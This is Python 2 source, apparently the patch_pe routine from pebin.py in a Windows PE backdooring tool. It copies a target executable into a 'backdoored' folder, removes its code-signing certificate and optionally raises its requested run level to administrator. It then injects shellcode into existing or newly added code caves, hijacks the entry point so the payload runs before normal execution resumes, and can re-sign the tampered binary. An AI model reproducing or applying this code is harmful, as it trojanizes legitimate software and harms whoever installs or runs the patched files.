    def patch_pe(self):

        """
        This function operates the sequence of all involved
        functions to perform the binary patching.
        """
        print "[*] In the backdoor module"
        # TODO: Take out Injector

        if self.INJECTOR is False:
            os_name = os.name
            if not os.path.exists("backdoored"):
                os.makedirs("backdoored")
            if os_name == 'nt':
                self.OUTPUT = "backdoored\\" + self.OUTPUT
            else:
                self.OUTPUT = "backdoored/" + self.OUTPUT

        if self.PATCH_METHOD.lower() == 'replace':
            print "[*] Using replace method, copying supplied binary"
            self.flItms['backdoorfile'] = self.SUPPLIED_BINARY
            shutil.copy2(self.SUPPLIED_BINARY, self.OUTPUT)
            return True

        issupported = self.support_check()

        if issupported is False:
            return None

        if self.PREPROCESS is True:
            self.preprocess()
        
        if self.PATCH_METHOD == 'onionduke':
            print "[!] Attempting OnionDuke patching"
            # move OS check here.
            result = self.onionduke()
            if result:
                return result
            else:
                print "[!] OnionDuke patching failed"
                return result

        self.flItms['NewCodeCave'] = self.ADD_SECTION
        self.flItms['cave_jumping'] = self.CAVE_JUMPING
        self.flItms['CavesPicked'] = {}
        self.flItms['LastCaveAddress'] = 0
        self.flItms['stager'] = False
        self.flItms['supplied_shellcode'] = self.SUPPLIED_SHELLCODE
        self.flItms['CavesToFix'] = {}
        self.flItms['XP_MODE'] = self.XP_MODE

        #pulling apis
        if self.check_shells() is False:
            return False

        #Creating file to backdoor
        self.flItms['backdoorfile'] = self.OUTPUT
        shutil.copy2(self.FILE, self.flItms['backdoorfile'])
        # Delete tempfile here
        
        #Removing the cert is better early on
        self.remove_signing()

        if 'apis_needed' in self.flItms:
            self.check_apis(self.FILE)
            iat_result = ''
            if "UPX".lower() in self.flItms['textSectionName'].lower():
                print "[!] Cannot patch a new IAT into a UPX binary at this time."
                return False
            if self.flItms['neededAPIs'] != set() and self.flItms['IDT_IN_CAVE'] is True:
                iat_result = self.patch_in_new_iat()
                print "[*] Checking updated IAT for thunks"
                self.check_apis(self.flItms['backdoorfile'])

            # if this IDT_IN_CAVE is true and it did not work... reset and go normal route
            if self.flItms['neededAPIs'] != set() and self.flItms['IDT_IN_CAVE'] is True:
                print "[!] Resetting the file"
                shutil.copy2(self.FILE, self.flItms['backdoorfile'])
                self.remove_signing()
                iat_result = self.create_new_iat()
                if iat_result is False:
                    return False
                print "[*] Checking updated IAT for thunks"
                self.check_apis(self.flItms['backdoorfile'])

            if self.flItms['neededAPIs'] != set() and self.flItms['IDT_IN_CAVE'] is False:
                #reset the file
                iat_result = self.create_new_iat()
                if iat_result is False:
                    return False
                print "[*] Checking updated IAT for thunks"
                self.check_apis(self.flItms['backdoorfile'])

        if self.set_shells() is False or self.flItms['allshells'] is False:
            print "[!] Could not set selected shellcode!"
            return False

        self.binary = open(self.flItms['backdoorfile'], "r+b")

        if self.RUNAS_ADMIN is True:
            if self.parse_rsrc() is True:
                patch_result = self.patch_runlevel()
                if patch_result is False:
                    print "[!] Could not patch higher run level in manifest, requestedExecutionLevel did not exist"
            else:
                print '[!] No manifest in rsrc'

        #reserve space for shellcode
        targetFile = intelCore(self.flItms, self.binary, self.VERBOSE)

        if self.flItms['Magic'] == int('20B', 16):
            _, self.flItms['resumeExe'] = targetFile.resume_execution_64()
        else:
            _, self.flItms['resumeExe'] = targetFile.resume_execution_32()

        shellcode_length = len(self.flItms['shellcode'])

        self.flItms['shellcode_length'] = shellcode_length + len(self.flItms['resumeExe'])

        caves_set = False

        # This can be improved. TODO: add parsed caves to a tracking dict
        #  for "single": [caves] and "jump": [caves] for that parsing
        #  does not have to happen over and over again.
        #  Also think about removing None from the equation?
        while caves_set is False and self.flItms['NewCodeCave'] is False:
            self.flItms['CavesPicked'] = self.find_cave()
            if type(self.flItms['CavesPicked']) == str:
                if self.flItms['CavesPicked'].lower() in ['append', 'a']:
                    self.flItms['JMPtoCodeAddress'] = None
                    self.flItms['CodeCaveLOC'] = 0
                    self.flItms['cave_jumping'] = False
                    self.flItms['CavesPicked'] = {}
                    print "[!] Appending new section for payload"
                    self.set_shells()
                    caves_set = True
                elif self.flItms['CavesPicked'].lower() in ['jump', 'j']:
                    self.flItms['JMPtoCodeAddress'] = None
                    self.flItms['CodeCaveLOC'] = 0
                    self.flItms['cave_jumping'] = True
                    self.flItms['CavesPicked'] = {}
                    print "-resetting shells"
                    self.set_shells()
                    continue
                elif self.flItms['CavesPicked'].lower() in ['single', 's']:
                    self.flItms['JMPtoCodeAddress'] = None
                    self.flItms['CodeCaveLOC'] = 0
                    self.flItms['cave_jumping'] = False
                    self.flItms['CavesPicked'] = {}
                    print "-resetting shells"
                    self.set_shells()
                    continue
                elif self.flItms['CavesPicked'].lower() in ['ignore', 'i', 'q']:
                    #Let's say we don't want to patch a binary
                    return None
            elif self.flItms['CavesPicked'] is None:
                return None
            else:
                self.flItms['JMPtoCodeAddress'] = self.flItms['CavesPicked'].iteritems().next()[1][6]
                caves_set = True
            #else:
            #    caves_set = True

        # Assigning code caves to fix
        if self.flItms['CavesPicked'] != {}:
            for cave, values in self.flItms['CavesPicked'].iteritems():
                self.flItms['CavesToFix'][cave] = [values[6] + 5 + self.flItms['PatchLocation'], self.flItms['len_allshells'][cave]]

        #If no cave found, continue to create one.
        if self.flItms['JMPtoCodeAddress'] is None or self.flItms['NewCodeCave'] is True:
            create_cave_result = self.create_code_cave()
            if create_cave_result is False:
                return False
            self.flItms['NewCodeCave'] = True
            print "- Adding a new section to the exe/dll for shellcode injection"
        else:
            self.flItms['LastCaveAddress'] = self.flItms['CavesPicked'][len(self.flItms['CavesPicked']) - 1][6]

        #Patch the entry point
        targetFile = intelCore(self.flItms, self.binary, self.VERBOSE)
        targetFile.patch_initial_instructions()

        # recalling resumeExe
        if self.flItms['Magic'] == int('20B', 16):
            ReturnTrackingAddress, self.flItms['resumeExe'] = targetFile.resume_execution_64()
        else:
            ReturnTrackingAddress, self.flItms['resumeExe'] = targetFile.resume_execution_32()

        # setting the final shellcode
        self.set_shells()

        if self.flItms['cave_jumping'] is True:
            if self.flItms['stager'] is False:
                temp_jmp = "\xe9"
                breakupvar = eat_code_caves(self.flItms, 1, 2)
                test_length = int(self.flItms['CavesPicked'][2][1], 16) - int(self.flItms['CavesPicked'][1][1], 16) - len(self.flItms['allshells'][1]) - 5
                if test_length < 0:
                    temp_jmp += struct.pack("<I", 0xffffffff - abs(breakupvar - len(self.flItms['allshells'][1]) - 4))
                else:
                    temp_jmp += struct.pack("<I", breakupvar - len(self.flItms['allshells'][1]) - 5)
            self.flItms['allshells'] += (self.flItms['resumeExe'], )

        self.flItms['completeShellcode'] = self.flItms['shellcode'] + self.flItms['resumeExe']
        if self.flItms['NewCodeCave'] is True:
            self.binary.seek(self.flItms['newSectionPointerToRawData'] + self.flItms['buffer'])
            self.binary.write(self.flItms['completeShellcode'])
        if self.flItms['cave_jumping'] is True:
            for i, item in self.flItms['CavesPicked'].iteritems():
                self.binary.seek(int(self.flItms['CavesPicked'][i][1], 16), 0)
                self.binary.write(self.flItms['allshells'][i])
                #So we can jump to our resumeExe shellcode
                if i == (len(self.flItms['CavesPicked']) - 2) and self.flItms['stager'] is False:
                    self.binary.write(temp_jmp)
        else:
            for i, item in self.flItms['CavesPicked'].iteritems():
                if i == 0:
                    self.binary.seek(int(self.flItms['CavesPicked'][i][1], 16))
                    self.binary.write(self.flItms['completeShellcode'])

        self.binary.close()

        if self.CODE_SIGN is True:
			# cert was removed earlier 
            p = subprocess.Popen(['osslsigncode', '-certs', self.flItms['curdir'] + '/' + 'certs/signingCert.cer', '-key', \
                                  self.flItms['curdir'] + '/' + 'certs/signingPrivateKey.pem', '-n', 'Security','-in', \
                                   self.flItms["backdoorfile"], '-out', self.flItms["backdoorfile"], '-readpass', self.flItms['curdir'] + '/' + 'certs/passFile.txt'] \
                                 , stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            p.wait()
            out, err = p.communicate()
            if 'succeeded' in out.lower():
                print "[*] Code Signing Succeeded"
            else:
                print "[!!!!] Code Signing Failed check your certs [!!!!]" 
                print str(err).strip("\n")

        if self.VERBOSE is True:
            self.print_flItms(self.flItms)

        # CHECK AND DELETE TMP FILE HERE
            
        if self.tmp_file != None:
        
            if self.keep_temp is True:
                # tmpfilename_orginalname.exe
                print "[*] Saving TempFile to:", os.path.basename(self.FILE) + '_' + self.ORIGINAL_FILE 
                shutil.copy2(self.FILE, os.path.basename(self.FILE) + '_' + self.ORIGINAL_FILE )
            try:
                shutil.rmtree(self.tmp_file.name)
            except: # OSError:
                pass
                #print "[*] TempFile already removed."

        
        return True
This function operates the sequence of all involved
functions to perform the binary patching.
pebin.py